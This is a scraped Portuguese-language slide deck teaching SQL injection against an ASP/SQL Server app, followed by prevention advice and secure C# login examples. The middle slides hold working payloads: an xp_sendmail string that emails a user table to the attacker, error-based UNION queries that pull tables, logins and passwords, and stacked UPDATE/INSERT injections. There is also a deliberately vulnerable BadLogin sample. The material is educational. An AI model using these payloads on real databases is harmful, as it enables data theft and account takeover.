Top Banner
Injeção de SQL SQL Injection
24

Injeção de SQL SQL Injection. Manipulação do string SQL Conn.Open Set rst = Conn.Execute( "select * from userinfo where username = '" & Request.Form("uname")

Mar 27, 2015

Page 1: Injeção de SQL SQL Injection. Manipulação do string SQL Conn.Open Set rst = Conn.Execute( "select * from userinfo where username = '" & Request.Form("uname")

Injeção de SQL

SQL Injection

Page 8: Injeção de SQL SQL Injection. Manipulação do string SQL Conn.Open Set rst = Conn.Execute( "select * from userinfo where username = '" & Request.Form("uname")

Manipulação do string SQL

• Concatenando '; exec master..xp_sendmail @recipients='[email protected]', @subject = 'Mine, all mine!', @query='Select * from userinfo order by ID', @attach_results=True

• Seleciona todos os registros da tabela UserInfo e envia por e-mail para o atacante

Page 9: Injeção de SQL SQL Injection. Manipulação do string SQL Conn.Open Set rst = Conn.Execute( "select * from userinfo where username = '" & Request.Form("uname")

Como obter dados• Seja o seguinte URL:

http://duck/index.asp?id=10• Tentando-se

http://duck/index.asp?id=10 UNION SELECT TOP 1 TABLE_NAME FROM INFORMATION_SCHEMA.TABLES--

• Obtém-seMicrosoft OLE DB Provider for ODBC Drivers error '80040e07'

[Microsoft][ODBC SQL Server Driver][SQL Server]Syntax error converting the nvarchar value 'table1' to a column of data type int.

/index.asp, line 5

Page 10: Injeção de SQL SQL Injection. Manipulação do string SQL Conn.Open Set rst = Conn.Execute( "select * from userinfo where username = '" & Request.Form("uname")

Como obter dados• Sabe-se o nome da primeira tabela: table1

Para obter-se o nome da segunda tabela:http://duck/index.asp?id=10 UNION SELECT TOP 1 TABLE_NAME FROM INFORMATION_SCHEMA.TABLES WHERE TABLE_NAME NOT IN ('table1')--

• Obtém-seMicrosoft OLE DB Provider for ODBC Drivers error '80040e07'

[Microsoft][ODBC SQL Server Driver][SQL Server]Syntax error converting the nvarchar value 'table2' to a column of data type int.

/index.asp, line 5

Page 11: Injeção de SQL SQL Injection. Manipulação do string SQL Conn.Open Set rst = Conn.Execute( "select * from userinfo where username = '" & Request.Form("uname")

Como obter dados• Usando-se LIKE:

http://duck/index.asp?id=10 UNION SELECT TOP 1 TABLE_NAME FROM INFORMATION_SCHEMA.TABLES WHERE TABLE_NAME LIKE '%25login%25'--

Obtém-seMicrosoft OLE DB Provider for ODBC Drivers error '80040e07'

[Microsoft][ODBC SQL Server Driver][SQL Server]Syntax error converting the nvarchar value 'admin_login' to a column of data type int.

/index.asp, line 5

Page 12: Injeção de SQL SQL Injection. Manipulação do string SQL Conn.Open Set rst = Conn.Execute( "select * from userinfo where username = '" & Request.Form("uname")

Como obter dados• Para determinar os nomes das colunas de uma tabela

http://duck/index.asp?id=10 UNION SELECT TOP 1 COLUMN_NAME FROM INFORMATION_SCHEMA.COLUMNS WHERE TABLE_NAME='admin_login'--

Obtém-seMicrosoft OLE DB Provider for ODBC Drivers error '80040e07'

[Microsoft][ODBC SQL Server Driver][SQL Server]Syntax error converting the nvarchar value 'login_id' to a column of data type int./index.asp, line 5

Page 13: Injeção de SQL SQL Injection. Manipulação do string SQL Conn.Open Set rst = Conn.Execute( "select * from userinfo where username = '" & Request.Form("uname")

Como obter dados• Para determinar o nomes da coluna seguinte

http://duck/index.asp?id=10 UNION SELECT TOP 1 COLUMN_NAME FROM INFORMATION_SCHEMA.COLUMNS WHERE TABLE_NAME='admin_login' WHERE COLUMN_NAME NOT IN ('login_id')--

Obtém-seMicrosoft OLE DB Provider for ODBC Drivers error '80040e07'

[Microsoft][ODBC SQL Server Driver][SQL Server]Syntax error converting the nvarchar value 'login_name' to a column of data type int.

/index.asp, line 5

Page 14: Injeção de SQL SQL Injection. Manipulação do string SQL Conn.Open Set rst = Conn.Execute( "select * from userinfo where username = '" & Request.Form("uname")

Como obter dados• Analogamente para as demais colunas:

http://duck/index.asp?id=10 UNION SELECT TOP 1 COLUMN_NAME FROM INFORMATION_SCHEMA.COLUMNS WHERE TABLE_NAME='admin_login' WHERE COLUMN_NAME NOT IN ('login_id','login_name','password','details')--

• Obtém-seMicrosoft OLE DB Provider for ODBC Drivers error '80040e14'

[Microsoft][ODBC SQL Server Driver][SQL Server]ORDER BY items must appear in the select list if the statement contains a UNION operator.

/index.asp, line 5

Page 15: Injeção de SQL SQL Injection. Manipulação do string SQL Conn.Open Set rst = Conn.Execute( "select * from userinfo where username = '" & Request.Form("uname")

Como obter dados• Após identificar nomes e colunas, pode-se obter os

dados:http://duck/index.asp?id=10 UNION SELECT TOP 1 login_name FROM admin_login--

• Obtém-seMicrosoft OLE DB Provider for ODBC Drivers error '80040e07'

[Microsoft][ODBC SQL Server Driver][SQL Server]Syntax error converting the nvarchar value 'neo' to a column of data type int.

/index.asp, line 5

Page 16: Injeção de SQL SQL Injection. Manipulação do string SQL Conn.Open Set rst = Conn.Execute( "select * from userinfo where username = '" & Request.Form("uname")

Como obter dados• Obteve-se o nome 'neo'; para a senha:

http://duck/index.asp?id=10 UNION SELECT TOP 1 password FROM admin_login where login_name='neo'--

• Obtém-seMicrosoft OLE DB Provider for ODBC Drivers error '80040e07'

[Microsoft][ODBC SQL Server Driver][SQL Server]Syntax error converting the nvarchar value 'm4trix' to a column of data type int.

/index.asp, line 5

Page 17: Injeção de SQL SQL Injection. Manipulação do string SQL Conn.Open Set rst = Conn.Execute( "select * from userinfo where username = '" & Request.Form("uname")

Como obter dados• Mas para a senha do nome 'trinity':

http://duck/index.asp?id=10 UNION SELECT TOP 1 password FROM admin_login where login_name='trinity'--

• Obtém-sePage not found

• A senha deve ser numérica...

Page 18: Injeção de SQL SQL Injection. Manipulação do string SQL Conn.Open Set rst = Conn.Execute( "select * from userinfo where username = '" & Request.Form("uname")

Como obter dados• Para obter a senha numérica:

http://duck/index.asp?id=10 UNION SELECT TOP 1 convert(int, password%2b'%20morpheus') FROM admin_login where login_name='trinity'--

• Obtém-seMicrosoft OLE DB Provider for ODBC Drivers error '80040e07'

[Microsoft][ODBC SQL Server Driver][SQL Server]Syntax error converting the nvarchar value '31173 morpheus' to a column of data type int.

/index.asp, line 5

• A senha é 31173

Page 19: Injeção de SQL SQL Injection. Manipulação do string SQL Conn.Open Set rst = Conn.Execute( "select * from userinfo where username = '" & Request.Form("uname")

Como alterar/inserir dados• Para alterar uma senha:

http://duck/index.asp?id=10; UPDATE 'admin_login' SET 'password' = 'newpas5' WHERE login_name='neo'--

• Inserir um novo usuário:http://duck/index.asp?id=10; INSERT INTO 'admin_login' ('login_id', 'login_name', 'password', 'details') VALUES (666,'neo2','newpas5','NA')--

Page 20: Injeção de SQL SQL Injection. Manipulação do string SQL Conn.Open Set rst = Conn.Execute( "select * from userinfo where username = '" & Request.Form("uname")

Como impedir a injeção SQL• Nunca confie na entrada do usuário

– Valide toda a entrada com controles de validação, expressões regulares, etc

• Nunca use SQL dinâmico– Use SQL parametrizado ou procedures armazenadas

• Nunca conecte a uma base de dados como administrador– Use uma conta com acessos limitado para isso

• Não armazene secretos em texto simples– Use cifragem ou hash

• Erros devem divulgar informação mínima– Use customErrors para restringir informação sobre erros;

sete debug para false

Page 21: Injeção de SQL SQL Injection. Manipulação do string SQL Conn.Open Set rst = Conn.Execute( "select * from userinfo where username = '" & Request.Form("uname")

BadLoginprivate void cmdLogin_Click(object sender, System.EventArgs e) { string strCnx = "server=localhost;database=northwind;uid=sa;pwd=;"; SqlConnection cnx = new SqlConnection(strCnx); cnx.Open(); //This code is susceptible to SQL injection attacks. string strQry = "SELECT Count(*) FROM Users WHERE UserName='" + txtUser.Text + "' AND Password='" + txtPassword.Text + "'"; int intRecs; SqlCommand cmd = new SqlCommand(strQry, cnx); intRecs = (int) cmd.ExecuteScalar(); if (intRecs>0) { FormsAuthentication.RedirectFromLoginPage(txtUser.Text,

false); } else { lblMsg.Text = "Login attempt failed."; } cnx.Close();}

Page 22: Injeção de SQL SQL Injection. Manipulação do string SQL Conn.Open Set rst = Conn.Execute( "select * from userinfo where username = '" & Request.Form("uname")

GoodLoginprivate void cmdLogin_Click(object sender, System.EventArgs e) { string strCnx = ConfigurationSettings.AppSettings["cnxNWindBad"]; using (SqlConnection cnx = new SqlConnection(strCnx)) { SqlParameter prm; cnx.Open(); string strQry = "SELECT Count(*) FROM Users WHERE UserName=@username " + "AND Password=@password"; int intRecs;

SqlCommand cmd = new SqlCommand(strQry, cnx); cmd.CommandType= CommandType.Text; prm = new SqlParameter("@username",SqlDbType.VarChar,50); prm.Direction=ParameterDirection.Input; prm.Value = txtUser.Text; cmd.Parameters.Add(prm); prm = new SqlParameter("@password",SqlDbType.VarChar,50); prm.Direction=ParameterDirection.Input; prm.Value = txtPassword.Text; cmd.Parameters.Add(prm); intRecs = (int) cmd.ExecuteScalar(); if (intRecs>0) { FormsAuthentication.RedirectFromLoginPage(txtUser.Text, false); } else { lblMsg.Text = "Login attempt failed."; } }}

Page 23: Injeção de SQL SQL Injection. Manipulação do string SQL Conn.Open Set rst = Conn.Execute( "select * from userinfo where username = '" & Request.Form("uname")

BetterLoginprivate void cmdLogin_Click(object sender, System.EventArgs e) { string strCnx = ConfigurationSettings.AppSettings["cnxNWindBetter"]; using (SqlConnection cnx = new SqlConnection(strCnx)) { SqlParameter prm; cnx.Open(); string strAccessLevel; SqlCommand cmd = new SqlCommand("procVerifyUser", cnx); cmd.CommandType= CommandType.StoredProcedure; prm = new SqlParameter("@username",SqlDbType.VarChar,50); prm.Direction=ParameterDirection.Input; prm.Value = txtUser.Text; cmd.Parameters.Add(prm); prm = new SqlParameter("@password",SqlDbType.VarChar,50); prm.Direction=ParameterDirection.Input; prm.Value = txtPassword.Text; cmd.Parameters.Add(prm);

strAccessLevel = (string) cmd.ExecuteScalar();

if (strAccessLevel.Length>0) { FormsAuthentication.RedirectFromLoginPage(txtUser.Text, false); } else { lblMsg.Text = "Login attempt failed."; } }}

Page 24: Injeção de SQL SQL Injection. Manipulação do string SQL Conn.Open Set rst = Conn.Execute( "select * from userinfo where username = '" & Request.Form("uname")

BestLoginprivate void cmdLogin_Click(object sender, System.EventArgs e) { try { // Grab the encrypted connection string and decrypt it string strCnx = SecureConnection.GetCnxString("cnxNWindBest"); // Establish connection to database using (SqlConnection cnx = new SqlConnection(strCnx)) { SqlParameter prm; cnx.Open(); // Execute sproc to retrieved hashed password for this user string strHashedDbPwd; SqlCommand cmd = new SqlCommand("procGetHashedPassword", cnx); cmd.CommandType = CommandType.StoredProcedure; prm = new SqlParameter("@username", SqlDbType.VarChar,50); prm.Direction = ParameterDirection.Input; prm.Value = txtUser.Text; cmd.Parameters.Add(prm); strHashedDbPwd = (string) cmd.ExecuteScalar(); if (strHashedDbPwd.Length>0) { // Verify that hashed user-entered password is the same // as the hashed password from the database if (SaltedHash.ValidatePassword(txtPassword.Text,strHashedDbPwd)) { FormsAuthentication.RedirectFromLoginPage( txtUser.Text, false); } else {lblMsg.Text = "Login attempt failed.";} } else {lblMsg.Text = "Login attempt failed.";} } } catch {lblMsg.Text = "Login attempt failed.";}}